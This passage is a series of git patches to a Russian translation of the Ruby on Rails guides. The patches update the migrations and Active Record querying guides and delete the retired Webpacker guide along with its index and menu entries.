в базе данных. Хотя Active Record не предоставляет каких-либо инструментов для работы напрямую с этими функциями, метод `execute` может использоваться для выполнения произвольного SQL. +[внешние ключи как ограничители ссылочной целостности]: #foreign-keys + Миграции и сиды --------------- @@ -908,11 +980,15 @@ class AddInitialProducts < ActiveRecord::Migration[7.1] end ``` -Чтобы добавить изначальные данные в базу данных после создания, в Rails имеется встроенная особенность 'seeds', которая ускоряет процесс. Это особенно полезно при частой перезагрузке базы данных в средах разработки и тестирования. Чтобы начать пользоваться этой особенностью, заполните `db/seeds.rb` некоторым кодом Ruby и запустите `bin/rails db:seed`: +Чтобы добавить изначальные данные в базу данных после создания, в Rails имеется встроенная особенность 'seeds', которая ускоряет процесс. Это особенно полезно при частой перезагрузке базы данных в средах разработки и тестирования, или для настройки изначальных данных в production. + +Чтобы начать пользоваться этой особенностью, откройте `db/seeds.rb` и добавьте некоторый код Ruby, а затем запустите `bin/rails db:seed`. + +NOTE: Код тут должен быть идемпотентным, чтобы запускаться в любой момент в любом окружении. ```ruby -5.times do |i| - Product.create(name: "Product ##{i}", description: "A product.") +["Action", "Comedy", "Drama", "Horror"].each do |genre_name| + MovieGenre.find_or_create_by!(name: genre_name) end ``` @@ -921,17 +997,23 @@ end (Old Migrations) Старые миграции -------------------------------- -`db/schema.rb` или `db/structure.sql` это снимок текущего состояния вашей базы данных и авторитетный источник для восстановления этой базы данных. Поэтому возможно удалить старые файлы миграций. +`db/schema.rb` или `db/structure.sql` это снимок текущего состояния вашей базы данных и авторитетный источник для восстановления этой базы данных. Поэтому возможно удалить или обрезать старые файлы миграций. Когда вы удалите файлы миграций в директории `db/migrate/`, любая среда, в которой `bin/rails db:migrate` была запущена, когда эти файлы еще существовали, будет хранить ссылки на временные метки миграций во внутренней таблице Rails по имени `schema_migrations`. Эта таблица используется для отслеживания, была ли миграция выполнена в указанной среде. Если вы запустите команду `bin/rails db:migrate:status`, которая отображает статус (up или down) каждой миграции, вы увидите `********** NO FILE **********`, отображенный рядом с каждым удаленным файлом миграции, который однажды был запущен в указанной среде, но больше не найден в директории `db/migrate/`. -Хотя тут есть предостережение. Задачи Rake для установки миграций из engine являются идемпотентными. Миграции, присутствующие в родительском приложении благодаря предыдущим установками, пропускаются, а отсутствующие копируются с новой временной меткой. Если вы удалите старые миграции engine и запустите задачу установки заново, вы получите новые файлы с новыми временными метками, и `db:migrate` попытается запустить их снова. +### Миграции из engine + +Хотя тут есть предостережение для [Engine][]. Задачи Rake для установки миграций из engine являются идемпотентными, что означает, что они получат тот же результат, вне зависимости, сколько раз они были вызваны. Миграции, присутствующие в родительском приложении благодаря предыдущим установками, пропускаются, а отсутствующие копируются с новой временной меткой. Если вы удалите старые миграции engine и запустите задачу установки заново, вы получите новые файлы с новыми временными метками, и `db:migrate` попытается запустить их снова. + +Поэтому, вы, в основном, захотите оставить миграции, пришедшие из engine. У них есть специальный комментарий, наподобие: Поэтому, как правило, вам захочется сохранить миграции, пришедшие из engine. В них есть специальный комментарий, наподобие: -``` +```ruby # This migration comes from blorgh (originally 20210621082949) ``` + +[Engine]: /engines diff --git a/source/index.yml b/source/index.yml index d4d7775e..e66c17d4 100644 --- a/source/index.yml +++ b/source/index.yml @@ -27,8 +27,8 @@ pages: - title: Миграции Active Record path: active-record-migrations file: active_record_migrations.md - revision: 8a1c06e9dc6f65f9f7e9e3bf6c8e1ef5619e6c1d - date: 10/12/2022 + revision: 11efa0445de6c2ab5c70b2bbeafc5e4931028e95 + date: 28/04/2023 - title: Валидации Active Record path: active-record-validations From 7b4521c85d93a83bd49403478c0feec274571860 Mon Sep 17 00:00:00 2001 From: Mikhail Date: Fri, 18 Aug 2023 00:41:48 +0300 Subject: [PATCH 845/932] Remove Webpacker guide --- source/asset_pipeline.md | 2 +- source/index.md | 1 - source/index.yml | 6 -- source/menu.md | 1 - source/webpacker.md | 200 --------------------------------------- 5 files changed, 1 insertion(+), 209 deletions(-) delete mode 100644 source/webpacker.md diff --git a/source/asset_pipeline.md b/source/asset_pipeline.md index f82f8966..03dc50d8 100644 --- a/source/asset_pipeline.md +++ b/source/asset_pipeline.md @@ -824,7 +824,7 @@ Sprockets.register_preprocessor 'text/css', AddComment [`Webpacker`](webpacker.html) был препроцессором JavaScript по умолчанию и сборщиком для Rails 5 и 6. Теперь он не разрабатывается. Существует преемник, называющийся [`shakapacker`](https://github.com/shakacode/shakapacker), но он не поддерживается командой или проектом Rails. -В отличие от других библиотек в этом списке, `webpacker`/`shakapacker` полностью не зависят от Sprockets и могут обрабатывать файлы как JavaScript, так и CSS. Подробности читайте в [руководстве по Webpacker](/webpacker). +В отличие от других библиотек в этом списке, `webpacker`/`shakapacker` полностью не зависят от Sprockets и могут обрабатывать файлы как JavaScript, так и CSS. NOTE: Прочитайте документ по [сравнению с Webpacker](https://github.com/rails/jsbundling-rails/blob/main/docs/comparison_with_webpacker.md), чтобы понять разницу между `jsbundling-rails` и `webpacker`/`shakapacker`. diff --git a/source/index.md b/source/index.md index d8a483da..cd7889fc 100644 --- a/source/index.md +++ b/source/index.md @@ -52,7 +52,6 @@ Ruby on Rails — это веб-фреймворк с открытым кодо - [Основы Active Job](/active_job_basics) := Это руководство даст вам все, что нужно, чтобы начать создавать, ставить в очередь и запускать фоновые задания. - [Обзор Active Storage](/active_storage_overview) := В этом руководстве описывается, как прикреплять файлы к моделям Active Record. - [Обзор Action Cable](/action-cable-overview) := Это руководство документирует, как работает Action Cable, и как использовать WebSockets для создания функционала в реальном времени. -- [Webpacker](/webpacker) := Это руководство представляет Webpacker, обертку Rails вокруг системы сборки webpack. ## Копаем глубже diff --git a/source/index.yml b/source/index.yml index e66c17d4..3addf592 100644 --- a/source/index.yml +++ b/source/index.yml @@ -156,12 +156,6 @@ pages: revision: aa81f67a9eca1fc0d7f26bfe1a181dbed4d82ce1 date: 18/12/2022 - - title: Webpacker - path: webpacker - file: webpacker.md - revision: d49a3abc019732c35c2f1fdc7687572ddd168dd8 - date: 15/10/2022 - - title: Тестирование приложений на Rails path: testing file: testing.md diff --git a/source/menu.md b/source/menu.md index bf4ddeb5..88970955 100644 --- a/source/menu.md +++ b/source/menu.md @@ -33,7 +33,6 @@ * [Основы Active Job](/active_job_basics) * [Обзор Active Storage](/active_storage_overview) * [Обзор Action Cable](/action-cable-overview) - * [Webpacker](/webpacker) * **Копаем глубже** diff --git a/source/webpacker.md b/source/webpacker.md deleted file mode 100644 index ec7beda9..00000000 --- a/source/webpacker.md +++ /dev/null @@ -1,200 +0,0 @@ -Webpacker -========= - -Это руководство покажет, как установить и использовать Webpacker для упаковки JavaScript, CSS и других ассетов для клиентов вашего приложения Rails, но учтите, что [от Webpacker отказались](https://github.com/rails/webpacker#webpacker-has-been-retired-) - -После его прочтения вы узнаете: - -* Что делает Webpacker, и почему он отличается от Sprockets. -* Как установить Webpacker и интегрировать его с выбранным фреймворком. -* Как использовать Webpacker для ассетов JavaScript. -* Как использовать Webpacker для ассетов CSS. -* Как использовать Webpacker для статичных ассетов. -* Как развернуть сайт, использующий Webpacker. -* Как использовать Webpacker в контекстах, альтернативных Rails, таких как engine или контейнеры Docker. - --------------------------------------------------------------- - -Что такое Webpacker? --------------------- - -Webpacker это обертка Rails вокруг системы сборки [webpack](https://webpack.js.org), предоставляющий стандартную конфигурацию webpack и приемлемые значения по умолчанию. - -### Что такое webpack? - -Цель webpack, или любой другой системы сборки для фронтенд, в том, чтобы позволить писать код фронтенд удобным для разработчиков способом, а затем упаковывать этот код способом, удобным для браузеров. С помощью webpack можно управлять JavaScript, CSS и статичными ассетами, такими как изображения или шрифты. Webpack позволит писать свой код, ссылаться на другой код в вашем приложении, преобразовывать свой код и объединять свой код в легко скачиваемые пакеты. - -Подробнее смотрите в [документации webpack](https://webpack.js.org). - -### В чем отличие Webpacker от Sprockets? - -Rails также поставляется со Sprockets, инструментом упаковки ассетов, чьи особенности пересекаются с Webpacker. Оба инструмента скомпилируют ваш JavaScript в удобные для браузера файлы, а также уменьшат размер и сделают их уникальными в production. В среде development Sprockets и Webpacker позволяют вам постепенно изменять файлы. - -Sprockets, который был разработан для использования с Rails, немного проще в интеграции. В частности код можно добавить в Sprockets с помощью гема Ruby. Однако, webpack лучше для интеграции с большим количеством современных инструментов JavaScript и пакетов NPM, и позволяет более широкий диапазон интеграции. Новые приложения Rails настроены использовать webpack для JavaScript и Sprockets для CSS, хотя вы можете создавать CSS в webpack. - -Следует выбрать Webpacker над Sprockets в новом проекте, если хотите использовать пакеты NPM, и/или хотите доступ к большинству современных особенностей и инструментов JavaScript. Следует выбрать Sprockets над Webpacker для старых приложений, где миграция может быть затратной, если хотите интегрировать с помощью гемов, или если у вас очень мало кода для упаковки. - -Если вы знакомы со Sprockets, следующее руководство может подсказать вам как преобразовывать. Отметьте, что у каждого инструмента несколько разная структура, и концепции не всегда могут быть соотнесены напрямую. - -|Задача | Sprockets | Webpacker | -|------------------------|----------------------|--------------------| -|Присоединить JavaScript |javascript_include_tag|javascript_pack_tag | -|Присоединить CSS |stylesheet_link_tag |stylesheet_pack_tag | -|Ссылка на изображение |image_url |image_pack_tag | -|Ссылка на ассет |asset_url |asset_pack_tag | -|Затребовать скрипт |//= require |import или require | - -Установка Webpacker -------------------- - -Для использования Webpacker необходимо установить менеджер пакетов Yarn версии 1.x или выше, и необходим установленный Node.js версии 10.13.0 и выше. - -NOTE: Webpacker зависит от NPM и Yarn. NPM, реестр менеджера пакетов Node, это основной репозиторий для публикации и скачивания проектов JavaScript с открытым кодом для запуска в Node.js или браузере. Это аналог rubygems.org для гемов Ruby. Yarn это утилита командной строки, позволяющая установку и управление зависимостей JavaScript, очень похожее на то, что Bundler делает для Ruby. - -Чтобы включить Webpacker в новом проекте, добавьте `--webpack` в команду `rails new`. Чтобы добавить Webpacker в существующий проект, добавьте гем `webpacker` в `Gemfile` проекта, запустите `bundle install` а затем запустите `bin/rails webpacker:install`. - -Установка Webpacker создает следующие локальные файлы: - -|Файл |Размещение |Пояснение | -|-----------------------|------------------------|------------------------------------------------------------------------------------------------------| -|Папка JavaScript | `app/javascript` |Место для исходников вашего фронтенд | -|Конфигурация Webpacker | `config/webpacker.yml` |Настройки для гема Webpacker | -|Конфигурация Babel | `babel.config.js` |Настройки для компилятора JavaScript [Babel](https://babeljs.io) | -|Конфигурация PostCSS | `postcss.config.js` |Настройки для постпроцессора CSS [PostCSS](https://postcss.org) | -|Browserlist | `.browserslistrc` |[Browserlist](https://github.com/browserslist/browserslist) управляет конфигурацией целевых браузеров | - -Установка также вызывает менеджер пакетов `yarn`, создает файл `package.json` с базовым набором перечисленных пакетов и использует Yarn для установки этих зависимостей. - -Использование -------------- - -### Использование Webpacker для JavaScript - -С установленным Webpacker, любой файл JavaScript в директории `app/javascripts/packs` по умолчанию будет скомпилирован в свой отдельный файл пакета. - -Таким образом, если есть файл по имени `app/javascript/packs/application.js`, Webpacker создаст пакет, названный `application`, и его можно добавить в приложение Rails с помощью кода `<%= javascript_pack_tag "application" %>`. Для этого, в development Rails будет перекомпилировать файл `application.js` каждый раз, как он изменяется, и вы загружаете страницу, использующую этот пакет. Обычно файлом в фактической директории `packs` будет манифестом, в основном загружающим другие файлы, но он также может содержать произвольный код JavaScript. - -Пакет по умолчанию, создаваемый Webpacker, будет ссылаться на JavaScript пакеты Rails по умолчанию, если они были включены в этом проекте: - -``` -import Rails from "@rails/ujs" -import Turbolinks from "turbolinks" -import * as ActiveStorage from "@rails/activestorage" -import "channels" - -Rails.start() -Turbolinks.start() -ActiveStorage.start() -``` - -Вам будет нужно включить пакет, требующие эти пакеты, чтобы использовать их в вашем приложении Rails. - -Важно отметить, что в директорию `app/javascript/packs` следует помещать только конечные точки доступа webpack; webpack создаст отдельный граф зависимостей для каждой конечной точки, поэтому большое количество пакетов увеличит нагрузку на компиляцию. Остальной исходный код ваших ассетов должен находиться вне этой директории, хотя Webpacker не накладывает каких-либо ограничений, и не делает каких-либо рекомендаций, как структурировать ваш исходный код. Вот пример: - -```sh -app/javascript: - ├── packs: - │ # тут только файлы конечных точек доступа webpack - │ └── application.js - │ └── application.css - └── src: - │ └── my_component.js - └── stylesheets: - │ └── my_styles.css - └── images: - └── logo.svg -``` - -Обычно сам файл пакета это, в значительной степени, манифест, использующий `import` или `require` для загрузки необходимых файлов, а также может выполнять некоторую инициализацию. - -Если хотите изменить эти директории, можно изменить `source_path` (по умолчанию `app/javascript`) и `source_entry_path` (по умолчанию `packs`) в файле `config/webpacker.yml`. - -В файлах исходного кода, выражения `import` разрешаются относительно файла, выполняющего импорт, таким образом `import Bar from "./foo"` находит файл `foo.js` в той же директории, что и текущий файл, а `import Bar from "../src/foo"` находит файл в соседней директории с именем `src`. - -### Использование Webpacker для CSS - -Из коробки Webpacker поддерживает CSS и SCSS с помощью процессора PostCSS. - -Чтобы включить код CSS в ваши пакеты, сначала включите ваши файлы CSS в файл пакета верхнего уровня, как будто это файл JavaScript. Таким образом, если ваш манифест CSS верхнего уровня в `app/javascript/styles/styles.scss`, можно импортировать его с помощью `import styles/styles`. Это сообщит webpack включить ваш файл CSS в скачивание. Чтобы фактически загрузить его на странице, включите `<%= stylesheet_pack_tag "application" %>` во вью, где `application` это то же самое имя пакета, что вы использовали. - -Если вы используете фреймворк CSS, его можно добавить в Webpacker, следуя инструкциям загрузки фреймворка как модуля NPM с помощью `yarn`, обычно `yarn add `. У фреймворка должны быть инструкции по импортированию его в файлы CSS или SCSS. - -### Использование Webpacker для статичных ассетов - -По умолчанию [конфигурация Webpacker](https://github.com/rails/webpacker/blob/master/lib/install/config/webpacker.yml#L21) должна работать из коробки для статичных ассетов. Эта конфигурация включает несколько расширений изображений и шрифтов, позволяя webpack включать их в сгенерированный файл `manifest.json`. - -С помощью webpack, статичные ассеты можно импортировать непосредственно в файлы JavaScript. Импортированное значение представляет URL ассета. Например: - -```javascript -import myImageUrl from '../images/my-image.jpg' - -// ... -let myImage = new Image(); -myImage.src = myImageUrl; -myImage.alt = "I'm a Webpacker-bundled image"; -document.body.appendChild(myImage); -``` - -Если нужно сослаться на статичные ассеты Webpacker из вью Rails, нужно явно затребовать эти ассеты из Webpacker-укомплектованных файлов JavaScript. В отличие от Sprockets, Webpacker не импортирует ваши статичные ассеты по умолчанию. Файл по умолчанию `app/javascript/packs/application.js` содержит шаблон для импортирования файлов из заданной директории, который можно откомментировать для каждой директории, в которой вы хотите хранить статичные файлы which you can uncomment for every directory you. Директории относительно `app/javascript`. Этот шаблон использует директорию `images`, но можно использовать что угодно в `app/javascript`: - -``` -const images = require.context("../images", true) -const imagePath = name => images(name, true) -``` - -Статичные ассеты будут выведены в директорию внутри `public/packs/media`. Например, изображение, расположенное и импортированное в `app/javascript/images/my-image.jpg`, будет выведено в `public/packs/media/images/my-image-abcd1234.jpg`. Чтобы отрендерить тег изображения для этого изображения во вью Rails, используйте `image_pack_tag 'media/images/my-image.jpg`. - -Хелперы Webpacker ActionView для статичных файлов соответствуют хелперам файлопровода согласно следующей таблице: - -|хелпер ActionView | хелпер Webpacker | -|------------------|------------------| -|favicon_link_tag |favicon_pack_tag | -|image_tag |image_pack_tag | - -Также общий хелпер `asset_pack_path` принимает локальное расположение файла и возвращает его размещение webpacker для использования во вью Rails. - -Также можно получить доступ к изображению, непосредственно сославшись на файл из файла CSS в `app/javascript`. - -### Webpacker в Rails Engine - -Начиная с 6 версии, Webpacker больше не осведомлен об engine, что означает, что у Webpacker нет схожих со Sprockets особенностей для использования в Rails engine. - -Авторам гемов Rails engine, желающие поддержать потребителей, использующих Webpacker, рекомендуется распространять ассеты для фронтенда как пакет NPM в дополнение к самому гему и предоставлять инструкции (или установщик) для демонстрации как следует интегрировать в основное приложение. Хорошим примером этого подхода является [Alchemy CMS](https://github.com/AlchemyCMS/alchemy_cms). - -### Замена модуля на лету (Hot Module Replacement, HMR) - -Webpacker поддерживает HMR из коробки с помощью webpack-dev-server, и его можно переключать, установив опцию dev_server/hmr в webpacker.yml. - -За подробностями обратитесь к [документации webpack на DevServer](https://webpack.js.org/configuration/dev-server/#devserver-hot). - -Для поддержки HMR с React необходимо добавить react-hot-loader. Обратитесь к [руководству загрузки React на лету для начинающих](https://gaearon.github.io/react-hot-loader/getstarted/). - -Не забудьте отключить HMR, если вы не запускаете webpack-dev-server, в противном случае вы получите "not found error" для таблиц стилей. - -Webpacker в различных средах ----------------------------- - -В Webpacker по умолчанию есть три среды, `development`, `test` и `production`. Можно добавить дополнительные конфигурации сред в файле `webpacker.yml`, и установить разные значения по умолчанию для каждой среды, Webpacker также загрузит файл `config/webpack/.js` для дополнительной настройки среды. - -## Запуск Webpacker в Development - -Webpacker поставляется с двумя исполняемыми файлами для запуска в development: `./bin/webpack` и `./bin/webpack-dev-server`. Оба являются всего обертками вокруг стандартных исполняемых `webpack.js` и `webpack-dev-server.js`, и убеждаются, что загружаются правильные конфигурационные файлы и переменные среды, основываясь на вашей среде. - -По умолчанию Webpacker компилирует автоматически по требованию в development, когда загружается страница Rails. Это означает, что вам не нужно запускать какой-то отдельный процесс, и что ошибки компиляции будут логированы в стандартный лог Rails. Это можно изменить, поменяв на `compile: false` в файле `config/webpacker.yml`. Запуск `bin/webpack` принудительно скомпилирует ваши пакеты. - -Если хотите использовать перезагрузку кода в реальном времени, или если имеется столько JavaScript, что компиляция по запросу слишком медленная, необходимо запустить `./bin/webpack-dev-server` или `ruby ./bin/webpack-dev-server`. Этот процесс будет наблюдать за изменениями в файлах `app/javascript/packs/*.js` и автоматически перекомпилировать и перезагружать соответствующий браузер. - -Пользователям Windows нужно запускать эти команды в терминале, отдельном от `bundle exec rails server`. - -Как только вы запустили этот сервер разработки, Webpacker автоматически начнет проксирование всех запросов ассетов webpack к этому серверу. Когда вы остановите сервер, он вернет компиляцию по запросу. - -[Документация Webpacker](https://github.com/rails/webpacker) предоставляет информацию по переменным среды, которые можно использовать для контроля над `webpack-dev-server`. Обратитесь к дополнительным заметкам в [документации rails/webpacker по использованию webpack-dev-server](https://github.com/rails/webpacker#development). - -### Развертывание Webpacker - -Webpacker добавляет задачу `webpacker:compile` в задачу rake `assets:precompile`, таким образом любой процесс развертывания, использующий `assets:precompile`, должен работать. Задача компиляции скомпилирует пакеты и разместит их в `public/packs`. - -Дополнительная документация ---------------------------- - -Для подробностей по продвинутым темам, таким как использование Webpacker с популярными фреймворками, обратитесь к [документации Webpacker](https://github.com/rails/webpacker). From 8ebca48ff7b4c1bd96947dba03e41a8ca00dbd94 Mon Sep 17 00:00:00 2001 From: Mikhail Date: Fri, 18 Aug 2023 01:18:12 +0300 Subject: [PATCH 846/932] Update queries guide --- source/active_record_querying.md | 242 ++++++++++++++++++++++++++----- source/index.yml | 4 +- 2 files changed, 204 insertions(+), 42 deletions(-) diff --git a/source/active_record_querying.md b/source/active_record_querying.md index a25e3f09..a6a2d88f 100644 --- a/source/active_record_querying.md +++ b/source/active_record_querying.md @@ -40,7 +40,7 @@ class Book < ApplicationRecord scope :in_print, -> { where(out_of_print: false) } scope :out_of_print, -> { where(out_of_print: true) } - scope :old, -> { where('year_published < ?', 50.years.ago )} + scope :old, -> { where(year_published: ...50.years.ago.year) } scope :out_of_print_and_expensive, -> { out_of_print.where('price > 500') } scope :costs_more_than, ->(amount) { where('price > ?', amount) } end @@ -60,7 +60,7 @@ class Order < ApplicationRecord enum :status, [:shipped, :being_packed, :complete, :cancelled] - scope :created_before, ->(time) { where('created_at < ?', time) } + scope :created_before, ->(time) { where(created_at: ...time) } end ``` @@ -113,6 +113,7 @@ end * [`references`][] * [`reorder`][] * [`reselect`][] +* [`regroup`][] * [`reverse_order`][] * [`select`][] * [`where`][] @@ -151,6 +152,7 @@ end [`references`]: https://api.rubyonrails.org/classes/ActiveRecord/QueryMethods.html#method-i-references [`reorder`]: https://api.rubyonrails.org/classes/ActiveRecord/QueryMethods.html#method-i-reorder [`reselect`]: https://api.rubyonrails.org/classes/ActiveRecord/QueryMethods.html#method-i-reselect +[`regroup`]: https://api.rubyonrails.org/classes/ActiveRecord/QueryMethods.html#method-i-regroup [`reverse_order`]: https://api.rubyonrails.org/classes/ActiveRecord/QueryMethods.html#method-i-reverse_order [`select`]: https://api.rubyonrails.org/classes/ActiveRecord/QueryMethods.html#method-i-select [`where`]: https://api.rubyonrails.org/classes/ActiveRecord/QueryMethods.html#method-i-where @@ -459,6 +461,16 @@ end Переопределяет настройку приложения, указывающую, должна ли быть вызвана ошибка, если в relation присутствует упорядочивание. +**`:order`** + +Указывает порядок следования первичных ключей (может быть `:asc` или `:desc`). По умолчанию `:asc`. + +```ruby +Customer.find_each(order: :desc) do |customer| + NewsMailer.weekly(customer).deliver_now +end +``` + #### `find_in_batches` Метод [`find_in_batches`][] похож на `find_each` тем, что они оба получают пакеты записей. Различие в том, что `find_in_batches` передает в блок _пакеты_ как массив моделей, вместо отдельной модели. Следующий пример передаст в представленный блок массив из 1000 счетов за раз, а в последний блок содержащий всех оставшихся покупателей: @@ -659,7 +671,7 @@ SELECT * FROM books WHERE books.created_at >= '2008-12-21 00:00:00' Если хотите найти записи, используя выражение `IN`, можете передать массив в хэш условий: ```ruby -Customer.where(orders_count: [1,3,5]) +Customer.where(orders_count: [1, 3, 5]) ``` Этот код сгенерирует подобный SQL: @@ -673,7 +685,7 @@ SELECT * FROM customers WHERE (customers.orders_count IN (1,3,5)) Запросы `NOT` в SQL могут быть созданы с помощью [`where.not`][]: ```ruby -Customer.where.not(orders_count: [1,3,5]) +Customer.where.not(orders_count: [1, 3, 5]) ``` Другими словами, этот запрос может быть сгенерирован с помощью вызова `where` без аргументов и далее присоединенным `not` с переданными условиями для `where`. Это сгенерирует такой SQL: @@ -701,7 +713,7 @@ Customer.where.not(nullable_country: nil) Условия `OR` между двумя отношениями могут быть построены путем вызова [`or`][] на первом отношении и передачи второго в качестве аргумента. ```ruby -Customer.where(last_name: 'Smith').or(Customer.where(orders_count: [1,3,5])) +Customer.where(last_name: 'Smith').or(Customer.where(orders_count: [1, 3, 5])) ``` ```sql @@ -715,7 +727,7 @@ SELECT * FROM customers WHERE (customers.last_name = 'Smith' OR customers.orders Условия `AND` могут быть построены с помощью присоединения условий `where`. ```ruby -Customer.where(last_name: 'Smith').where(orders_count: [1,3,5])) +Customer.where(last_name: 'Smith').where(orders_count: [1, 3, 5])) ``` ```sql @@ -804,7 +816,7 @@ SELECT isbn, out_of_print FROM books Будьте осторожны, поскольку это также означает, что будет инициализирован объект модели только с теми полями, которые вы выбрали. Если вы попытаетесь обратиться к полям, которых нет в инициализированной записи, то получите: ``` -ActiveModel::MissingAttributeError: missing attribute: +ActiveModel::MissingAttributeError: missing attribute '' for Book ``` Где `` это атрибут, который был запрошен. Метод `id` не вызывает `ActiveRecord::MissingAttributeError`, поэтому будьте аккуратны при работе со связями, так как они нуждаются в методе `id` для правильной работы. @@ -900,8 +912,8 @@ GROUP BY status [`count`]: https://api.rubyonrails.org/classes/ActiveRecord/Calculations.html#method-i-count -Having ------- +Условия HAVING +-------------- SQL использует условие `HAVING` для определения условий для полей, указанных в `GROUP BY`. Условие `HAVING`, определенное в SQL, запускается в `Model.find` с использованием метода [`having`][] для поиска. @@ -1107,6 +1119,34 @@ SELECT * FROM books WHERE out_of_print = 1 AND out_of_print = 0 [`rewhere`]: https://api.rubyonrails.org/classes/ActiveRecord/QueryMethods.html#method-i-rewhere +### `regroup` + +Метод [`regroup`][] переопределяет существующее именованное условие `group`. Например: + +```ruby +Book.group(:author).regroup(:id) +``` + +SQL, который будет выполнен: + +```sql +SELECT * FROM books GROUP BY id +``` + +Если не было бы использовано выражение `regroup`, выражения группировки объединились: + +```ruby +Book.group(:author).group(:id) +``` + +SQL, который был бы выполнен: + +```sql +SELECT * FROM books GROUP BY author, id +``` + +[`regroup`]: https://api.rubyonrails.org/classes/ActiveRecord/QueryMethods.html#method-i-regroup + Нулевой Relation ---------------- @@ -1314,13 +1354,13 @@ SELECT books.* FROM books ##### Соединение вложенных связей (разных уровней) ```ruby -Author.joins(books: [{ reviews: { customer: :orders } }, :supplier] ) +Author.joins(books: [{ reviews: { customer: :orders } }, :supplier]) ``` Это создаст: ```sql -SELECT * FROM authors +SELECT authors.* FROM authors INNER JOIN books ON books.author_id = authors.id INNER JOIN reviews ON reviews.book_id = books.id INNER JOIN customers ON customers.id = reviews.customer_id @@ -1386,12 +1426,48 @@ LEFT OUTER JOIN reviews ON reviews.customer_id = customers.id GROUP BY customers Что означает: "возвратить всех покупателей и количество их рецензий, независимо от того, имеются ли у них вообще рецензии". +### `where.associated` и `where.missing` + +Методы запроса `associated` и `missing` позволяет выбрать набор записей, основываясь на существовании или отсутствии связи. + +Используя `where.associated`: + +```ruby +Customer.where.associated(:reviews) +``` + +Создаст: + +```sql +SELECT customers.* FROM customers +INNER JOIN reviews ON reviews.customer_id = customers.id +WHERE reviews.id IS NOT NULL +``` + +Что означает "вернуть всех покупателей, сделавших хотя бы один обзор". + +Используя `where.missing`: + +```ruby +Customer.where.missing(:reviews) +``` + +Создаст: + +```sql +SELECT customers.* FROM customers +LEFT OUTER JOIN reviews ON reviews.customer_id = customers.id +WHERE reviews.id IS NULL +``` + +Что означает "вернуть всех покупателей, не сделавших ни один обзор". + Нетерпеливая загрузка связей ---------------------------- Нетерпеливая загрузка - это механизм загрузки связанных записей объекта, возвращаемых `Model.find`, с использованием как можно меньшего количества запросов. -**Проблема N + 1 запроса** +### Проблема N + 1 запроса Рассмотрим следующий код, который находит 10 книг и выводит фамилии их авторов: @@ -1405,7 +1481,7 @@ end На первый взгляд выглядит хорошо. Но проблема лежит в общем количестве выполненных запросов. Вышеупомянутый код выполняет 1 (чтобы найти 10 книг) + 10 (каждый на одну книгу для загрузки автора) = итого **11** запросов. -**Решение проблемы N + 1 запроса** +#### Решение проблемы N + 1 запроса Active Record позволяет заранее указать все связи, которые должны быть загружены. @@ -1415,7 +1491,7 @@ Active Record позволяет заранее указать все связи * [`preload`][] * [`eager_load`][] -### includes +### `includes` С помощью `includes` Active Record убеждается, что все указанные связи загружаются с помощью минимально возможного количества запросов. @@ -1452,7 +1528,7 @@ Customer.includes(:orders, :reviews) ##### Вложенный хэш связей ```ruby -Customer.includes(orders: {books: [:supplier, :author]}).find(1) +Customer.includes(orders: { books: [:supplier, :author] }).find(1) ``` Вышеприведенный код находит покупателя с id 1 и нетерпеливо загружает все связанные заказы для него, книги для всех заказов, и автора и поставщика каждой книги. @@ -1485,7 +1561,7 @@ Author.includes(:books).where("books.out_of_print = true").references(:books) NOTE: Если связь нетерпеливо загружена как часть join, любые поля из произвольного выражения select не будут присутствовать в загруженных моделях. Это так, потому что это избыточность, которая должна появиться или в родительской модели, или в дочерней. -### (preload) Предварительная загрузка +### `preload` С помощью `preload` Active Record загружает каждую указанную связь с помощью одного запроса на каждую связь. @@ -1509,7 +1585,7 @@ SELECT authors.* FROM authors NOTE: Метод `preload` использует массив, хэш, или вложенный хэш массивов/хэшей тем же самым образом, как метод `includes`, чтобы загрузить любое количество связей, с помощь единого вызова `Model.find`. Однако, в отличие от метода `includes`, невозможно указать условия для предварительной загрузки связей. -### eager_load +### `eager_load` С помощью `eager_load` Active Record загружает все указанные связи с помощью `LEFT OUTER JOIN`. @@ -1534,6 +1610,19 @@ SELECT books.id AS t0_r0, books.last_name AS t0_r1, ... NOTE: Метод `eager_load` использует массив, хэш, или вложенный хэш массивов/хэшей тем же самым образом, как метод `includes`, чтобы загрузить любое количество связей, с помощь единого вызова `Model.find`. Однако, в отличие от метода `includes`, невозможно указать условия для нетерпеливой загрузки связей. +### `strict_loading` + +Нетерпеливая загрузка может предотвратить N + 1 запрос, но вы все еще можете лениво загружать некоторые связи. Чтобы убедиться, что нет лениво загружаемых связей, можно включить [`strict_loading`][]. + +Включив режим строгой загрузки на relation, будет вызвана `ActiveRecord::StrictLoadingViolationError`, если запись пытается лениво загрузить связь: + +```ruby +user = User.strict_loading.first +user.comments.to_a # вызовет ActiveRecord::StrictLoadingViolationError +``` + +[`strict_loading`]: https://api.rubyonrails.org/classes/ActiveRecord/QueryMethods.html#method-i-strict_loading + (scopes) Скоупы --------------- @@ -1611,7 +1700,7 @@ irb> author.books.costs_more_than(100.10) ```ruby class Order < ApplicationRecord - scope :created_before, ->(time) { where("created_at < ?", time) if time.present? } + scope :created_before, ->(time) { where(created_at: ...time) if time.present? } end ``` @@ -1620,7 +1709,7 @@ end ```ruby class Order < ApplicationRecord def self.created_before(time) - where("created_at < ?", time) if time.present? + where(created_at: ...time) if time.present? end end ``` @@ -1692,8 +1781,8 @@ class Book < ApplicationRecord scope :in_print, -> { where(out_of_print: false) } scope :out_of_print, -> { where(out_of_print: true) } - scope :recent, -> { where('year_published >= ?', Date.current.year - 50 )} - scope :old, -> { where('year_published < ?', Date.current.year - 50 )} + scope :recent, -> { where(year_published: 50.years.ago.year..) } + scope :old, -> { where(year_published: ...50.years.ago.year) } end ``` @@ -1705,7 +1794,7 @@ SELECT books.* FROM books WHERE books.out_of_print = 'true' AND books.year_publi Можно комбинировать условия `scope` и `where`, и результирующий SQL будет содержать все условия, соединенные с помощью `AND`. ```irb -irb> Book.in_print.where('price < 100') +irb> Book.in_print.where(price: ...100) SELECT books.* FROM books WHERE books.out_of_print = 'false' AND books.price < 100 ``` @@ -1720,7 +1809,7 @@ SELECT books.* FROM books WHERE books.out_of_print = true ```ruby class Book < ApplicationRecord - default_scope { where('year_published >= ?', Date.current.year - 50 )} + default_scope { where(year_published: 50.years.ago.year..) } scope :in_print, -> { where(out_of_print: false) } scope :out_of_print, -> { where(out_of_print: true) } @@ -1942,7 +2031,7 @@ validates :orders_count, presence: true ```irb irb> Customer.find_or_create_by!(first_name: 'Andy') -ActiveRecord::RecordInvalid: Validation failed: Orders count can't be blank 